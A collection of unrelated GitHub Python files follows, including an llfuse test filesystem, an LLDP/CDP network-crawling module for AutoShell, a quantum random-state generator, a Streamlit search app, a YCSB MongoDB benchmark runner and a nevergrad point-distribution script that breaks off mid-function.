+{"seq_id":"7461335744","text":"import sys, logging, errno, stat, os, time\nimport llfuse\n\nmountpoint = 'llfuse-test'\n\nlog = logging.getLogger() # get root Logger\n\nclass Operations(llfuse.Operations):\n def __init__(self):\n super().__init__()\n log.info('init')\n self.gid = os.getgid()\n self.uid = os.getuid()\n self.access_root = stat.S_IRUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH # read+execute\n self.access = stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH #read-only\n self.root_entry = self.construct_entry(llfuse.ROOT_INODE, stat.S_IFDIR | self.access_root, 1, int(time.time() * 1e9))\n self.testfile_name = b'test.txt'\n self.testfile_inode = llfuse.ROOT_INODE+1\n self.testfile_entry = self.construct_entry(self.testfile_inode, stat.S_IFREG | self.access, 5, int(time.time() * 1e9))\n\n def construct_entry(self, inode, mode, size, time):\n entry = llfuse.EntryAttributes()\n entry.st_ino = inode\n entry.st_mode = mode\n # entry.st_nlink = 1\n entry.st_size = size\n\n entry.st_uid = self.uid\n entry.st_gid = self.gid\n\n # entry.st_blocks = 1\n entry.st_atime_ns = time\n entry.st_mtime_ns = time\n entry.st_ctime_ns = time\n\n return entry\n\n def getattr(self, inode, ctx=None):\n log.info('getattr %i' % inode)\n if inode == llfuse.ROOT_INODE:\n return self.root_entry\n elif inode == self.testfile_entry:\n return self.testfile_entry\n else:\n raise llfuse.FUSEError(errno.ENOENT)\n\n def opendir(self, inode, ctx=None):\n log.info('opendir %i' % inode)\n # if inode != llfuse.ROOT_INODE:\n # raise llfuse.FUSEError(errno.ENOENT)\n return inode\n\n def lookup(self, parent_inode, name, ctx=None):\n log.info('lookup %i: %s' % (parent_inode, name))\n # raise llfuse.FUSEError(errno.ENOENT)\n # if parent_inode != llfuse.ROOT_INODE or name != self.hello_name:\n # raise llfuse.FUSEError(errno.ENOENT)\n # return self.getattr(self.hello_inode)\n if name == '.':\n inode = parent_inode\n elif name == '..':\n inode = llfuse.ROOT_INODE\n elif name == self.testfile_name:\n return self.testfile_entry\n else:\n raise llfuse.FUSEError(errno.ENOENT)\n return self.getattr(inode, ctx)\n\n def readdir(self, inode, off):\n log.info('readdir %i/%i' % (inode, off))\n if inode == llfuse.ROOT_INODE and off == 0:\n yield (self.testfile_name, self.testfile_entry, 1)\n\n def statfs(self, ctx):\n sfs = llfuse.StatvfsData()\n\n sfs.f_bsize = 512\n sfs.f_frsize = 512\n\n size = 0\n sfs.f_blocks = size // sfs.f_frsize\n sfs.f_bfree = 0 #max(size // sfs.f_frsize, 1024)\n sfs.f_bavail = sfs.f_bfree\n\n inodes = 1 #self.get_row('SELECT COUNT(id) FROM inodes')[0]\n sfs.f_files = inodes\n sfs.f_ffree = 0 #max(inodes, 100)\n sfs.f_favail = sfs.f_ffree\n\n return sfs\n\ndef init_logging():\n formatter = logging.Formatter('%(asctime)s.%(msecs)03d %(threadName)s: '\n '[%(name)s] %(message)s', datefmt=\"%Y-%m-%d %H:%M:%S\")\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n log.addHandler(handler)\n log.setLevel(logging.INFO)\n\nif __name__ == '__main__':\n init_logging()\n print(\"Mounting to directory\", mountpoint)\n\n name = 'llfuse-test'\n fuse_options = set(llfuse.default_options)\n fuse_options.discard('nonempty') # necessary for osxfuse\n fuse_options.add('fsname=%s' % name)\n fuse_options.add('volname=%s' % name)\n # fuse_options.add('debug')\n # fuse_options.discard('default_permissions')\n # fuse_options.add('defer_permissions')\n\n try:\n llfuse.init(Operations(), mountpoint, fuse_options)\n except Exception as e:\n print(str(e))\n else:\n try:\n llfuse.main(workers=1)\n except:\n llfuse.close()\n raise\n llfuse.close()","repo_name":"JanHammerschmidt/llfuse-test","sub_path":"llfuse-test.py","file_name":"llfuse-test.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29645642011","text":"#!/usr/bin/python\n\n\"\"\"\ncrawl is a bundled AutoShell module which uses LLDP and CDP neighbor\ninformation to crawl a network, dynamically add neighbors as new hosts, log\ninto those new hosts, and recurse over them until no more hosts can be added.\ncrawl also adds each host's neighbor data into host.info so it can be dumped\nand parsed.\n\ncrawl has some custom command-line arguments it adds into arg parser which\ncan be used to control its behavior and limit the scope of what it recurses\nback into itself.\nCrawl Arguments:\n Crawl LLDP/CDP neighbors and attempt to log in to each one\n -F ATTRIB:REGEX, --filter ATTRIB:REGEX\n Regex filters for crawling hosts (optional)\n Attributes: sysname,remoteif,addresses,localif,\n remoteifdesc,sysdesc,sysid,platform,ttl,syscap\n Examples:\n Only Switches: '-f platform:WS'\n Only 192.168 IPs: '-f addresses:192.168.*'\n Switches OR IPs: '-f platform:WS -f addresses:192.168.*'\n -M INTEGER, --max_hops INTEGER\n Maximum hops from the seed host\n -CO, --crawl_cdp_only\n Crawl CDP only and ignore LLDP\n -LO, --crawl_lldp_only\n Crawl LLDP only and ignore CDP\n\"\"\"\n\n\n# Built-In Libraries\nimport re\nimport os\nimport sys\nimport json\nimport logging\n\n# Autoshell Libraries\nimport autoshell\n\n\n# log (shared) is used for logging inside of user-written modules\nlog = logging.getLogger(\"modules\")\n\n\n# .add_parser_options is an *OPTIONAL* reserved name which is\n# called by the AutoShell core system when the module is initially loaded.\n# This allows external modules to add their own arguments to the core\n# arg parser.\ndef add_parser_options(parser):\n \"\"\"\n crawl.add_parser_options adds all our crawl-specific arguments to our own\n argument group. It gets called immediately after the import of the module.\n \"\"\"\n modparser = parser.add_argument_group(\n 'Crawl Arguments',\n description=\"\"\"\\\nCrawl LLDP/CDP neighbors and attempt to log in to each one\"\"\"\n )\n modparser.add_argument(\n '-F', \"--crawl_filter\",\n help=\"\"\"Regex filters for crawling hosts (optional)\nAttributes: %s\nExamples:\n Only Switches: '-F platform:WS'\n Only 192.168 IPs: '-F addresses:192.168.*'\n Switches OR IPs: '-F platform:WS -f addresses:192.168.*'\"\"\" %\n \",\".join(autoshell.common.neighbors.allowed_attributes),\n metavar='ATTRIB:REGEX',\n dest=\"crawl_filter\",\n action=\"append\")\n modparser.add_argument(\n '-M', \"--crawl_max_hops\",\n help=\"Maximum hops from the seed host\",\n metavar='INTEGER',\n dest=\"crawl_max_hops\")\n modparser.add_argument(\n '-CO', \"--crawl_cdp_only\",\n help=\"Crawl CDP only and ignore LLDP\",\n dest=\"crawl_cdp_only\",\n action='store_true')\n modparser.add_argument(\n '-LO', \"--crawl_lldp_only\",\n help=\"Crawl LLDP only and ignore CDP\",\n dest=\"crawl_lldp_only\",\n action='store_true')\n\n\n# Instantiate an ad-hoc namespace object we will use to store state info\n# during load(). We then pick up that state info when we are run()\noptions = type('crawl_options', (), {})()\n\n\n# .load is an *OPTIONAL* reserved name which is called by\n# the AutoShell core system after all the command-line arguments have been\n# parsed by arg parser. This gives the module an opportunity to check all\n# user-inputs and throw errors before AutoShell continues on to connect to\n# the hosts.\ndef load(ball):\n \"\"\"\n crawl.load processes all of the crawl-specific arguments from arg parser\n It uses the common.neighbors library to build the filters from standard\n expressions on the command-line.\n \"\"\"\n log.debug(\"crawl.load: Processing user-inputs from the arg parser\")\n options.filters = autoshell.common.neighbors.build_neighbor_filters(\n ball.args.crawl_filter)\n options.max_hops = ball.args.crawl_max_hops\n # Invert logic on user-input crawl switches\n options.crawl_lldp = not ball.args.crawl_cdp_only\n options.crawl_cdp = not ball.args.crawl_lldp_only\n if not (options.crawl_lldp and options.crawl_cdp):\n log.warning(\"crawl.load:\\\n (crawl_cdp_only) and (crawl_lldp_only) are both enabled.\\\n Crawling disabled. Neighbor data will still be collected\")\n log.debug(\"crawl.load: Returning control back to main application\")\n\n\n# .run is a *REQUIRED* reserved name which is called by\n# the AutoShell core system once during its main run through the modules,\n# after it has finished connecting to all the hosts.\ndef run(ball):\n log.debug(\"crawl.run: Starting crawl of LLDP/CDP neighbors\")\n queue = autoshell.common.autoqueue.autoqueue(10, crawl, (ball, ))\n options.queue = queue\n for host in ball.hosts.hosts:\n queue.put(host)\n queue.block()\n log.debug(\"crawl.run: Complete. Returning control to the AutoShell core\")\n\n\n# crawl.HANDLER_MAPS is a mapping of host types to neighbor handlers. Each\n# handler is specific to a connection type (ie: \"cli\" or \"netconf\") and is\n# matched against the host type using a regular expression.\nHANDLER_MAPS = [\n {\n \"handlers\": {\n \"cli\": autoshell.cisco.neighbors.handlers.cisco_ios_neighbor_handler\n },\n \"types\": [\".*cisco.*\"]\n },\n {\n \"handlers\": {\n \"cli\": autoshell.hp.neighbors.handlers.hp_neighbor_handler\n },\n \"types\": [\".*hp.*\"]\n }\n]\n\n\ndef crawl(parent, host, ball):\n \"\"\"\n crawl.crawl is the worker function for crawl. Process followed is:\n - Receives connection_class instances from the queue\n - Look up the host crawl handler from XXXXXXXXXXX\n - Uses the crawl handler to pull LLDP/CDP neighbor data\n - Filters the neighbors using the crawl filters\n - Adds anything matching the filter back into\n the queue for recursion\n - Returns control to the supervisor function, awaiting a new\n host_object instances\n \"\"\"\n ############################################################\n # Check host validity and find its handler set\n ############################################################\n for connection in host.connections:\n # If any of the connections in the host are not idle\n if not host.connections[connection].idle:\n # Then the connections are still trying to be made. Drop them in\n # the back of the queue and try them later.\n options.queue.put(host)\n return None\n if not host.type:\n # If the host does not have a type, then we don't know which handler\n # to use. Discard and do not crawl it.\n log.warning(\"crawl.crawl:\\\n Host (%s) has no type. Discarding\" % host.get_address())\n return None\n # Initialize as None. Will get replaced if we find a matching handler set\n handler_dict = None\n for each in HANDLER_MAPS:\n # Search through all of the handler sets and try to match its regular\n # expressions against the host type. If we get a match, overwrite\n # the handler_dict and break the for loop.\n for typ in each[\"types\"]:\n if re.findall(typ, host.type):\n handler_dict = each\n log.debug(\"crawl.crawl:\\\n Found handler for host (%s) matching type (%s)\" % (host.hostname, typ))\n break\n # If we didn't find a matching handler set\n if not handler_dict:\n log.warning(\"crawl.crawl:\\\n Could not find neighbor handler for host (%s)\" % (host.hostname, ))\n return None\n ############################################################\n # Find a connection for each handler and check connection validity\n ############################################################\n # BUG (multi-con): Any failed connection will fail the whole host. Need\n # to allow some connections to be failed, since not all connection types\n # will succeed\n # Iterate through each of the types and try to match against keyed\n # connections in host.connections.\n for handler_type in handler_dict[\"handlers\"]:\n # If the connection (which is a hosts.connection_class instance) is\n # not connected and idle.\n if not (host.connections[handler_type].idle\n and host.connections[handler_type].connected):\n if host.connections[handler_type].failed:\n # And if it is also flagged as failed. Then discard it\n log.warning(\"crawl.crawl:\\\n Host (%s) failed. Discarding\" % host.get_address())\n return None\n else:\n # If it is not failed, then requeue it and return\n options.queue.put(host)\n return None\n ############################################################\n # BUG: Why are we checking if the host has the type here?????\n # It would have already thrown an error above.\n if handler_type not in host.connections:\n log.warning(\"crawl.crawl:\\\n Host (%s) has no connection for handler type (%s). Discarding\" %\n (host.get_address(), handler_type))\n return None\n ############################################################\n # Core crawl functionality\n ############################################################\n log.debug(\"crawl.crawl:\\\n Found connection on host (%s) for (%s) neighbor handler\"\n % (host.hostname, handler_type))\n # Pull the specific handler for this connection type\n handler = handler_dict[\"handlers\"][handler_type]\n log.debug(\"crawl.crawl:\\\n Crawling host (%s) (%s) with (%s) neighbor handler\"\n % (host.hostname, host.get_address(), handler_type))\n # Initialize .info with empty neighbor data to prep for real data\n host.info.update({\"neighbors\": []})\n # Pass connection and options to handler to get neighbor data\n neighbor_dict = handler(host.connections[handler_type],\n options.crawl_lldp, options.crawl_cdp)\n log.debug(\"crawl.crawl: Neighbors on (%s) (%s):\\n%s\"\n % (host.hostname, host.get_address(),\n json.dumps(neighbor_dict, indent=4)))\n # Drop neighbor data into .info so it can be dumped to JSON\n host.info.update({\"neighbors\": neighbor_dict})\n # Format the returned neighbor_dict into a parsable dict which\n # contains neighbor_device instances for each neighbor.\n neighbors = {}\n for proto in neighbor_dict:\n neighbors.update({proto: []})\n for neighbor in neighbor_dict[proto]:\n # Append an instance of neighbor_device which gets used\n # by the filtering mechanism\n neighbors[proto].append(\n autoshell.common.neighbors.neighbor_device(**neighbor)\n )\n # asdfasdfasdf\n for proto in neighbors:\n for neighbor_instance in neighbors[proto]:\n # Run neighbor_instance through the filter function (along)\n # the filters we built during load() to see if we should\n # crawl to this neighbor.\n if autoshell.common.neighbors.filter_neighbor_device(\n neighbor_instance, options.filters):\n # If the neighbor has address data for us to use to\n # connect.\n if neighbor_instance.addresses.Value:\n # Build a new host dict and hand it to hosts.add_host\n # which will attempt to connect to the host with\n # proper credentials and connectors.\n newhost_dict = {\n \"address\": neighbor_instance.addresses.Value,\n \"port\": None,\n \"type\": None\n }\n newhost = ball.hosts.add_host(newhost_dict)\n # If add_host returned a host_class instance, then\n # queue it up to be walked after all connections are\n # made.\n if newhost:\n log.info(\"crawl.crawl:\\\n Added new host (%s) (%s) found on (%s) (%s). Queueing for neighbor crawl\"\n % (neighbor_instance.get_attrib(\n \"sysname\"),\n neighbor_instance.get_attrib(\n \"addresses\"),\n host.hostname, host.get_address()))\n options.queue.put(newhost)\n","repo_name":"PackeTsar/autoshell","sub_path":"autoshell/modules/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":13075,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"}
+{"seq_id":"11880906281","text":"import numpy as np\n\nclass Basis_vectors:\n def __init__(self, list_of_basis_states, orthogonal = True) -> None:\n self.basis = list_of_basis_states\n self.__orthogonal_state = orthogonal\n \n def inner_product(self, basis1, basis2):\n if basis1 in self.basis:\n if basis2 in self.basis:\n if basis1 == basis2:\n return 1\n elif self.__orthogonal_state:\n return 0\n else: \n return np.NaN\n \nclass random_state_generator():\n\n def __init__(self, qubit) -> None:\n self.qubit = qubit\n state_whole = self.random_pure_state()\n self.basis = state_whole[1]\n self.state = state_whole[0]\n\n def random_pure_state(self):\n '''\n random_pure_state(n)\n\n - n is the dimensions of the Hilbert space\n\n returns: Single normalised (pure) state and the associated basis vectors (assumed to be orthogonal)\n '''\n n = 2*self.qubit\n\n mean = [0 for _ in range(n)]\n\n basis_vector = [i for i in range(n)]\n\n cov = []\n\n for one in range(n):\n cov_vec = [0 for _ in range(n)]\n cov_vec[one] = 1\n cov.append(cov_vec)\n\n return_state_unnormalized = np.random.multivariate_normal(mean, cov)\n normalisation_factor = np.linalg.norm(return_state_unnormalized)\n return_state_normalised = return_state_unnormalized/normalisation_factor\n\n return np.array(np.reshape(return_state_normalised, (int(len(return_state_normalised)/2), 2)), dtype = complex), Basis_vectors(basis_vector)\n \n def densityMat(self):\n '''\n Finds the density matrix of a state by doing the row and column wise multiplication of the state.\n\n Doing the column and row wise (conventional way) would return a single value.\n\n For all not possible values, a 0 value is returned.\n\n '''\n\n state = self.state.flatten()\n\n return_mat = np.zeros((len(state), len(state)), dtype= complex)\n\n basis = [i for i in range(len(state))]\n\n bra_state_vals = [np.conjugate(i) for i in state]\n bra = np.transpose(bra_state_vals)\n bra_matrix = np.zeros_like(return_mat)\n bra_matrix[:, -1] = bra\n\n ket_matrix = np.zeros_like(return_mat)\n ket_matrix[-1, :] = state\n\n self.return_mat = np.matmul(bra_matrix, ket_matrix, dtype=complex)\n\n return self.return_mat, Basis_vectors(basis)\n\n\n\ndef multiple_states(number_of_states, dimension):\n '''\n Based on random_pure_state(n)\n '''\n\n return_vector = []\n \n for new_state in range(number_of_states):\n return_vector.append(random_state_generator(dimension).random_pure_state()[0])\n\n basis_vector = [i for i in range(dimension)]\n\n\n return return_vector, Basis_vectors(basis_vector)\n\n\ndensity_mat = random_state_generator(2).densityMat()[0]\n\n","repo_name":"AnujGore/PG_quantum_entanglement","sub_path":"main/random_state_generator.py","file_name":"random_state_generator.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17549745029","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'staff'\nurlpatterns = [\n path('', views.index, name='home'),\n path('dashboard//', views.dashboard, name='dashboard'),\n path('link-account/', views.link_account, name='link_account'),\n path('register/', views.register, name='register'),\n path('login/', views.login_user, name='login' ),\n path('logout/', views.log_out, name='logout'),\n]","repo_name":"SimpleNiQue/Info-Web","sub_path":"infoweb/staff/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"73073389692","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfile_name='../result_split.txt'\ndef draw_best():\n with open(file_name,'r') as f:\n plt.figure()\n old_freq=0\n accuracy=[]\n best=[]\n for line in f.readlines():\n freq=line.strip().split()[2][:-1]\n accu=line.strip().split(':')[-1]\n\n if str(old_freq)==freq:\n accuracy.append(accu)\n else:\n #x=[i for i in range(len(accuracy))]\n if len(best)==0:\n best=accuracy\n\n best_array=np.array(best,dtype=np.float)\n accuracy_array=np.array(accuracy,dtype=np.float)\n if accuracy_array.mean()>best_array.mean():\n best=accuracy\n old_freq=freq\n accuracy=[]\n x=[i for i in range(len(best))]\n best=[float(i) for i in best]\n plt.plot(x, best)\n plt.savefig('./validation_best.png')\n\ndef get_one_freq(freq):\n with open(file_name, 'r') as f:\n accuracy=[]\n for line in f.readlines():\n freq_load = line.strip().split()[2][:-1]\n if int(freq_load)==freq:\n accu = line.strip().split(':')[-1]\n accuracy.append(float(accu))\n\n return accuracy\n\ntarget_freq=[0,6,10]\n\naccuracy=[get_one_freq(target_freq[i]) for i in range(len(target_freq))]\n\ndef plot_multi_figure(*accuracy):\n shape=[len(i) for i in accuracy]\n assert [shape[i]==shape[i+1] for i in range(len(shape)-1)]\n plt.figure()\n x=[i for i in range(shape[0])]\n for i in range(len(accuracy)):\n plt.plot(x,accuracy[i],label='freq{}'.format(target_freq[i]))\n plt.legend()\n plt.savefig('multi_accu.png')\n\n\nplot_multi_figure(*accuracy)","repo_name":"StephenCurry-LH/ecg","sub_path":"ecg-new/utils/draw_validation_score.py","file_name":"draw_validation_score.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36967423818","text":"import streamlit as st\nimport requests\n\n\ndef search_topmate(searchterm: str):\n if not searchterm:\n return []\n\n response = requests.get(\n \"https://fuzzy-coder.gravitron.run/semantic-search/\",\n params={\n \"query\": searchterm,\n },\n timeout=30,\n ).json()\n\n print(response)\n return response\n\n\nEXPERT_HTML_TEMPLATE = \"\"\"\n
\n\"\"\"\n\n\ndef main():\n st.title(\"Topmate Search\")\n st.markdown(\n '',\n unsafe_allow_html=True,\n )\n with st.form(key=\"searchform\"):\n nav1, nav2 = st.columns([2, 1])\n\n with nav1:\n search_term = st.text_input(\"Eg: experts working at google\")\n\n with nav2:\n submit_search = st.form_submit_button(label=\"Search\")\n\n (col1,) = st.columns([1])\n\n with col1:\n if not submit_search:\n return\n \n data = search_topmate(search_term)\n if data and 'detail' in data:\n st.subheader(\"Unable to find any relevant experts associated to your query\")\n return\n\n st.subheader(\"Showing {} experts\".format(len(data)))\n for user in data:\n st.markdown(\n\t\t\t\tEXPERT_HTML_TEMPLATE.format(\n\t\t\t\t\tuser.get(\"profile_pic\"),\n\t\t\t\t\tuser.get(\"display_name\"),\n\t\t\t\t\tf'https://topmate.io/{user.get(\"username\")}',\n\t\t\t\t\tuser.get(\"username\"),\n\n\t\t\t\t),\n\t\t\t\tunsafe_allow_html=True,\n\t\t\t)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fuzzy-coder/semantic-search-poc","sub_path":"streamlit/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39743425944","text":"#! /cygdrive/c/Users/a_user/AppData/Local/Programs/Python/Python38\n\n##########################################################\n# This code launches 2 instances of Reflection Workspace #\n##########################################################\n\n# Future ideas:\n# Ask how many instances and open accordingly\n# Check if instance is open, and if so open the next one\n# On except ask if user would like to try again or exit\n\n#######################\n# Import Dependencies #\n#######################\n\nimport subprocess\nfrom subprocess import Popen\nimport psutil\nimport time\nimport os\nfrom pathlib import Path\nimport psutil\nimport time\n\n\ndef checkIfProcessRunning(processName):\n# Check if there is any running process that contains the given name processName.\n\n#Iterate over the all the running process\n\n for proc in psutil.process_iter():\n try:\n# Check if process name contains the given name string.\n if processName.lower() in proc.name().lower():\n return True\n except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):\n pass\n return False;\n\ndef findProcessIdByName(processName):\n\n#Get a list of all the PIDs of a all the running process whose name contains the given string processName\n\n listOfProcessObjects = []\n#Iterate over the all the running process\n\n for proc in psutil.process_iter():\n try:\n pinfo = proc.as_dict(attrs=['pid', 'name', 'create_time'])\n# Check if process name contains the given name string.\n\n if processName.lower() in pinfo['name'].lower() :\n listOfProcessObjects.append(pinfo)\n except (psutil.NoSuchProcess, psutil.AccessDenied , psutil.ZombieProcess) :\n pass\n return listOfProcessObjects;\n\ndef main():\n print(\"*** Check if a process is running or not ***\")\n\n# Check if any chrome process was running or not.\n\n if checkIfProcessRunning('Emulation.exe'):\n print('Yes an Attachmate process was running')\n else:\n print('No Attachmate process was running')\n\n print(\"*** Find PIDs of a running process by Name ***\")\n\n# Find PIDs od all the running instances of process that contains 'chrome' in it's name\n listOfProcessIds = findProcessIdByName('Emulation')\n\n if len(listOfProcessIds) > 0:\n print('Process Exists | PID and other details are')\n\n for elem in listOfProcessIds:\n processID = elem['pid']\n processName = elem['name']\n processCreationTime = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(elem['create_time']))\n print((processID ,processName,processCreationTime ))\n else :\n print('No Running Process found with given text')\n\n print('** Find running process by name using List comprehension **')\n\n# Find PIDs od all the running instances of process that contains 'chrome' in it's name\n\n procObjList = [procObj for procObj in psutil.process_iter() if 'Emulation' in procObj.name().lower() ]\n for elem in procObjList:\n print (elem)\n\nif __name__ == '__main__':\n main()\n\n\n\n############################################\n# Open 2 instances of Reflection Workspace #\n############################################\n\n\nexpo1 = Path(r\"C:\\Users\\a_user\\Documents\\Micro Focus\\Reflection\\EXPO1 DMA MFR 2020.rd3x\")\nexpo2 = Path(r\"C:\\Users\\a_user\\Documents\\Micro Focus\\Reflection\\EXPO2 DMA MFR 2020.rd3x\")\n\ntry:\n os.system('start \"C:\\\\Program Files (x86)\\\\Micro Focus\\\\Reflection\\\\Attachmate.Emulation.Frame.exe\" \"C:\\\\Users\\\\a_user\\\\Documents\\\\Micro Focus\\\\Reflection\\\\EXPO1 DMA MFR 2020.rd3x\"')\n\n os.system('start \"C:\\\\Program Files (x86)\\\\Micro Focus\\\\Reflection\\\\Attachmate.Emulation.Frame.exe\" \"C:\\\\Users\\\\a_user\\\\Documents\\\\Micro Focus\\\\Reflection\\\\EXPO2 DMA MFR 2020.rd3x\"')\n\n print (\"Expo Launched. Continue to login.\")\n\nexcept: print(\"Unable to launch application.\") \n","repo_name":"ShipwreckSiren/Start-My-Day","sub_path":"Start-My-Day.py","file_name":"Start-My-Day.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5889525777","text":"# encoding=utf-8\r\nimport time\r\nimport commands\r\nfrom pymongo import MongoClient\r\nimport ConfigParser\r\n\r\ndef drop_collection(mongodb_url):\r\n print (\"drop ycsb.usertable\")\r\n client = MongoClient(mongodb_url)\r\n db = client.ycsb\r\n collection = db.usertable\r\n result = collection.drop()\r\n print (result)\r\n\r\ndef run(mongodb_url, recordcount, threads, work, insertproportion, ycsb_dir, prometheus_url):\r\n result = commands.getoutput('sh ycsb.sh %s %s %s %s %d %s %s' %(mongodb_url, recordcount, threads, work, insertproportion, ycsb_dir, prometheus_url))\r\n print (result)\r\n\r\ndef get_model(work):\r\n with open(work,'r') as f:\r\n for line in f.readlines():\r\n if \"insertproportion\" in line:\r\n insertproportion = int(line.split('=')[1])\r\n return insertproportion\r\n\r\nif __name__==\"__main__\":\r\n conf = ConfigParser.ConfigParser()\r\n conf.read(\"config.ini\")\r\n mongodb_url = conf.get(\"mongodb\",\"mongodb_url\")\r\n work = conf.get(\"ycsb\",\"work\")\r\n recordcount_list = conf.get(\"ycsb\",\"recordcount_list\").split(',')\r\n threads_list = conf.get(\"ycsb\",\"threads_list\").split(',')\r\n insertproportion = get_model(work)\r\n ycsb_dir = conf.get(\"ycsb\",\"ycsb_dir\")\r\n prometheus_url = conf.get(\"prometheus\",\"prometheus_url\")\r\n for recordcount in recordcount_list:\r\n for threads in threads_list:\r\n drop_collection(mongodb_url)\r\n run(mongodb_url, recordcount, threads, work, insertproportion, ycsb_dir, prometheus_url)\r\n time.sleep(600)\r\n print (commands.getoutput('cat lujin.txt'))\r\n","repo_name":"lujin1/ycsb_mongodb","sub_path":"ycsb.py","file_name":"ycsb.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"1032044761","text":"import scipy\nimport scipy.signal\nimport scipy.stats\nimport time\nimport copy\nimport numpy as np\nimport itertools\nfrom joblib import Parallel, delayed # type: ignore\n\n# import matplotlib as mpl\n# import matplotlib.pyplot as plt\nfrom collections import defaultdict\nimport nevergrad as ng\n\n# pylint: skip-file\n\ndefault_budget = 3000 # centiseconds\nmethods = {}\nmetrics = {}\n\n# A few helper functions.\ndef normalize(x):\n for i in range(len(x)):\n normalization = np.sqrt(np.sum(x[i] ** 2.0))\n if normalization > 0.0:\n x[i] = x[i] / normalization\n else:\n x[i] = np.random.randn(np.prod(x[i].shape)).reshape(x[i].shape)\n x[i] = x[i] / np.sqrt(np.sum(x[i] ** 2.0))\n return x\n\n\ndef convo(x, k):\n if k is None:\n return x\n return scipy.ndimage.gaussian_filter(x, sigma=list(k) + [0.0] * (len(x.shape) - len(k)))\n\n\n# Our well distributed point configurations.\ndef pure_random(n, shape, conv=None):\n return normalize([np.random.randn(*shape) for i in range(n)])\n\n\ndef antithetic_pm(n, shape, conv=None):\n m = n // 2\n x = [np.random.randn(*shape) for i in range(m)]\n x = normalize(x)\n x = x + [-xi for xi in x]\n if len(x) < n:\n x = x + [np.random.randn(*shape)]\n return np.array(x)\n\n\ndef antithetic_order(n, shape, axis=-1, also_sym=False, conv=None):\n x = []\n s = shape[axis]\n indices = [slice(0, s, 1) for s in shape]\n indices_sym = [slice(0, s, 1) for s in shape]\n while len(x) < n:\n icx = normalize([np.random.randn(*shape)])[0]\n for p in itertools.permutations(range(s)):\n if len(x) < n:\n indices[axis] = p\n cx = copy.deepcopy(icx)[tuple(indices)]\n x = x + [cx]\n if also_sym:\n order = list(itertools.product((False, True), repeat=s))\n np.random.shuffle(order)\n for ordering in order: # Ordering is a list of bool\n if any(ordering) and len(x) < n:\n scx = copy.deepcopy(cx)\n for o in [i for i, o in enumerate(ordering) if o]: # we must symetrize o\n indices_sym[axis] = o\n scx[tuple(indices_sym)] = -scx[tuple(indices_sym)]\n x = x + [scx]\n return x\n\n\ndef antithetic_order_and_sign(n, shape, axis=-1, conv=None):\n return antithetic_order(n, shape, axis, also_sym=True)\n\n\ndef greedy_dispersion(n, shape, budget=default_budget, conv=None):\n x = normalize([np.random.randn(*shape)])\n\n for i in range(n - 1):\n bigdist = -1\n t0 = time.time()\n while time.time() < t0 + 0.01 * budget / n:\n y = normalize([np.random.randn(*shape)])[0]\n dist = min(np.linalg.norm(convo(y, conv) - convo(x[i], conv)) for i in range(len(x)))\n if dist > bigdist:\n bigdist = dist\n newy = y\n x += [newy]\n return x\n\n\ndef dispersion(n, shape, budget=default_budget, conv=None):\n x = greedy_dispersion(n, shape, budget / 2, conv=conv)\n t0 = time.time()\n num = n\n while time.time() < t0 + 0.01 * budget / 2:\n num = num + 1\n for j in range(len(x)):\n bigdist = -1\n for idx in range(2 * num):\n if idx > 0:\n y = normalize([np.random.randn(*shape)])[0]\n else:\n y = x[j]\n convoy = convo(y, conv)\n dist = min(np.linalg.norm(convoy - convo(x[i], conv)) for i in range(len(x)) if i != j)\n if dist > bigdist:\n x[j] = y\n bigdist = dist\n return x\n\n\ndef dispersion_with_conv(n, shape, budget=default_budget):\n return dispersion(n, shape, budget=budget, conv=[8, 8])\n\n\ndef greedy_dispersion_with_conv(n, shape, budget=default_budget):\n return greedy_dispersion(n, shape, budget=budget, conv=[8, 8])\n\n\ndef dispersion_with_big_conv(n, shape, budget=default_budget):\n return dispersion(n, shape, budget=budget, conv=[24, 24])\n\n\ndef greedy_dispersion_with_big_conv(n, shape, budget=default_budget):\n return greedy_dispersion(n, shape, budget=budget, conv=[24, 24])\n\n\ndef dispersion_with_mini_conv(n, shape, budget=default_budget):\n return dispersion(n, shape, budget=budget, conv=[2, 2])\n\n\ndef greedy_dispersion_with_mini_conv(n, shape, budget=default_budget):\n return greedy_dispersion(n, shape, budget=budget, conv=[2, 2])\n\n\ndef block_symmetry(n, shape, num_blocks=None):\n x = []\n if num_blocks is None:\n num_blocks = [4, 4]\n for pindex in range(n):\n # print(f\"block symmetry {pindex}/{n}\")\n newx = normalize([np.random.randn(*shape)])[0]\n s = np.prod(num_blocks)\n num_blocks = num_blocks + ([1] * (len(shape) - len(num_blocks)))\n order = list(itertools.product((False, True), repeat=s))\n np.random.shuffle(order)\n ranges = [list(range(n)) for n in num_blocks]\n for o in order: # e.g. o is a list of 64 bool if num_blocks is 8x8\n # print(f\"We have the boolean vector {o}\")\n tentativex = copy.deepcopy(newx)\n for i, multi_index in enumerate(itertools.product(*ranges)):\n if o[i]: # This multi-index corresponds to a 